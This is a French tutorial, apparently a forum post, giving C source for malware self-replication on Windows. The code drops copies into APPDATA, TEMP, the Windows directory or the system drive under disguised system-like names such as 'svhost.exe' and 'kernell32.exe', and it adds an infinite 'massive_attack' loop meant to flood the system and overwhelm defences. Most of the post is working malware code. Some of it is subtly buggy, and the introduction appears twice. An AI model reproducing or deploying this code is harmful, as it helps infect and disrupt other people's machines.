Tweet
Bonjour à tous.
Dans le cadre de mon boulot, nous développons, à titre d'essais/tests, différents types de malwares dans le but d'analyser leur évolution et leurs stratégies offensives. Voici un quick-tutorial présentant la méthode de cloning, c'est à dire de réplication, de phase 1 utilisée par les malwares.
I. Introduction
Le cloning de phase 1 désigne la méthode la plus classique ([+] rapidité / [-] efficacité) de réplication du malware au sein du système infecté. Elle consiste en la copie directe du flux binaire du malware dans un nouveau fichier binaire ; le malware se retrouve ainsi en deux copies autonomes. Le principe est donc relativement simple et passe par deux étapes : génération aléatoire d'un chemin d'infection et d'un nom, puis copie binaire du malware dans un nouveau fichier. L'intérêt de cette méthode est que dans 90% des cas, une absence de contrôle en écriture de la part du système est constatée grâce à une copie binaire directe et non asynchrone (utilisation d'un fichier temporaire de transition).
II. Développement
A) Génération du chemin et du nom
Les différents chemins potentiels sont tout d'abord pré-définis dans un tableau :
Il en va de même pour les différents noms donnés au malware après copie :
L'on choisi de préférence des noms de fichiers système existant pour pouvoir injecter ensuite le malware dans un service Windows conforme.
On choisi aléatoirement un chemin et un nom :
Voici le code entier :
B ) Test de l'existence du fichier
Cette fonction permet de tester l'existence d'un malware. Elle prend en argument un nom X, et tente d'ouvrir le fichier correspondant en flux binaire. Si un malware avec ce nom existe déjà, l'opération est annulée.
C) Copie du flux binaire dans un nouveau fichier
Et voilà, maintenant le malware existe en deux exemplaires à des endroits différents.
D) Asphyxie virale (optionnel)
Cette étape optionnelle peut être déclenchée lors d'une situation jugée "urgente" par le virus. Elle consiste en une réplication anarchique du malware en un nombre infini de copies sur le système visant à saturer les méthodes de défense opérationnelle. Elle nécessite cependant une méthode de génération aléatoire beaucoup plus vaste pour éviter tout risque de collision entre fichiers déjà créés.
Voilà le code entier de "cloning.c" pour ceux qui seraient perdus :
Dans le cadre de mon boulot, nous développons, à titre d'essais/tests, différents types de malwares dans le but d'analyser leur évolution et leurs stratégies offensives. Voici un quick-tutorial présentant la méthode de cloning, c'est à dire de réplication, de phase 1 utilisée par les malwares.
I. Introduction
Le cloning de phase 1 désigne la méthode la plus classique ([+] rapidité / [-] efficacité) de réplication du malware au sein du système infecté. Elle consiste en la copie directe du flux binaire du malware dans un nouveau fichier binaire ; le malware se retrouve ainsi en deux copies autonomes. Le principe est donc relativement simple et passe par deux étapes : génération aléatoire d'un chemin d'infection et d'un nom, puis copie binaire du malware dans un nouveau fichier. L'intérêt de cette méthode est que dans 90% des cas, une absence de contrôle en écriture de la part du système est constatée grâce à une copie binaire directe et non asynchrone (utilisation d'un fichier temporaire de transition).
II. Développement
A) Génération du chemin et du nom
Les différents chemins potentiels sont tout d'abord pré-définis dans un tableau :
Code:
char *paths[]= {
getenv("APPDATA"), // récupération du chemin "%APPDATA%"
getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
};
Il en va de même pour les différents noms donnés au malware après copie :
Code:
char *names[]= {
"\\ws_api32.exe",
"\\libsys.exe",
"\\unzipper.exe",
"\\logon.exe",
"\\dir.exe",
"\\sysfile.exe",
"\\svhost.exe",
"\\kernell32.exe",
"\\cmd_32.exe",
"\\svdll.exe"
};
On choisi aléatoirement un chemin et un nom :
Code:
const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name int i,j; srand(time(NULL)); // on flush la fonction time() i=(rand()%(n_max-n_min))+n_min; // nom aléatoire j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés
Voici le code entier :
Code:
char* name_gen()
{
char *paths[]= {
getenv("APPDATA"), // récupération du chemin "%APPDATA%"
getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
};
char *names[]= {
"\\ws_api32.exe",
"\\libsys.exe",
"\\unzipper.exe",
"\\logon.exe",
"\\dir.exe",
"\\sysfile.exe",
"\\svhost.exe",
"\\kernell32.exe",
"\\cmd_32.exe",
"\\svdll.exe"
};
const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name
int i,j;
srand(time(NULL)); // on flush la fonction time()
i=(rand()%(n_max-n_min))+n_min; // nom aléatoire
j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire
strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés
return paths[j];
}
B ) Test de l'existence du fichier
Cette fonction permet de tester l'existence d'un malware. Elle prend en argument un nom X, et tente d'ouvrir le fichier correspondant en flux binaire. Si un malware avec ce nom existe déjà, l'opération est annulée.
Code:
int is_file_exist(char *file_to_test)
{
FILE *file = NULL; // nouvel objet fichier
file = fopen(file_to_test, "rb"); // le fichier est ouvert avec l'attribut "lecture binaire"
if (file == NULL) // le malware n'existe pas, le processus continu
return 0;
else // le malware existe déjà, le processus s'arrête
{
fclose(file);
return 1;
}
}
C) Copie du flux binaire dans un nouveau fichier
Code:
void cloning(char *argv[])
{
if(is_file_exist(name_gen())==0) // le fichier n'existe pas
{
int c;
FILE *fin, *fout;
/* argv[0] contient le fichier du malware en train de se répliquer */
fin = fopen(argv[0], "rb"); // ouverture du malware à répliquer en "lecture binaire"
fout = fopen(name_gen(), "wb"); // ouverture d'un nouveau fichier aléatoire grâce à name_gen() et copie du flux binaire en "écriture binaire"
while((c=getc(fin)) != EOF) // tant que tout n'a pas été copié
putc(c, fout); // copie en flux binaire du malware caractère par caractère pour plus de stabilité
fclose(fin);
fclose(fout);
}
}
D) Asphyxie virale (optionnel)
Cette étape optionnelle peut être déclenchée lors d'une situation jugée "urgente" par le virus. Elle consiste en une réplication anarchique du malware en un nombre infini de copies sur le système visant à saturer les méthodes de défense opérationnelle. Elle nécessite cependant une méthode de génération aléatoire beaucoup plus vaste pour éviter tout risque de collision entre fichiers déjà créés.
Code:
void massive_attack(char *argv[])
{
const int attack_running=1;
while(attack_running) // boucle infinie
{
if(is_file_exist(name_gen())==0)
{
int c;
FILE *fin, *fout;
fin = fopen(argv[0], "rb");
fout = fopen(name_gen(), "wb");
while((c=getc(fin)) != EOF)
putc(c, fout);
fclose(fin);
fclose(fout);
}
}
}
Voilà le code entier de "cloning.c" pour ceux qui seraient perdus :
Code:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
char* name_gen()
{
char *paths[]= {
getenv("APPDATA"), // récupération du chemin "%APPDATA%"
getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
};
char *names[]= {
"\\ws_api32.exe",
"\\libsys.exe",
"\\unzipper.exe",
"\\logon.exe",
"\\dir.exe",
"\\sysfile.exe",
"\\svhost.exe",
"\\kernell32.exe",
"\\cmd_32.exe",
"\\svdll.exe"
};
const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name
int i,j;
srand(time(NULL)); // on flush la fonction time()
i=(rand()%(n_max-n_min))+n_min; // nom aléatoire
j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire
strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés
return paths[j];
}
int is_file_exist(char *file_to_test)
{
FILE *file = NULL; // nouvel objet fichier
file = fopen(file_to_test, "rb"); // le fichier est ouvert avec l'attribut "lecture binaire"
if (file == NULL) // le malware n'existe pas, le processus continu
return 0;
else // le malware existe déjà, le processus s'arrête
{
fclose(file);
return 1;
}
}
void cloning(char *argv[])
{
if(is_file_exist(name_gen())==0) // le fichier n'existe pas
{
int c;
FILE *fin, *fout;
/* argv[0] contient le fichier du malware en train de se répliquer */
fin = fopen(argv[0], "rb"); // ouverture du malware à répliquer en "lecture binaire"
fout = fopen(name_gen(), "wb"); // ouverture d'un nouveau fichier aléatoire grâce à name_gen() et copie du flux binaire en "écriture binaire"
while((c=getc(fin)) != EOF) // tant que tout n'a pas été copié
putc(c, fout); // copie en flux binaire du malware caractère par caractère pour plus de stabilité
fclose(fin);
fclose(fout);
}
}
Commentaire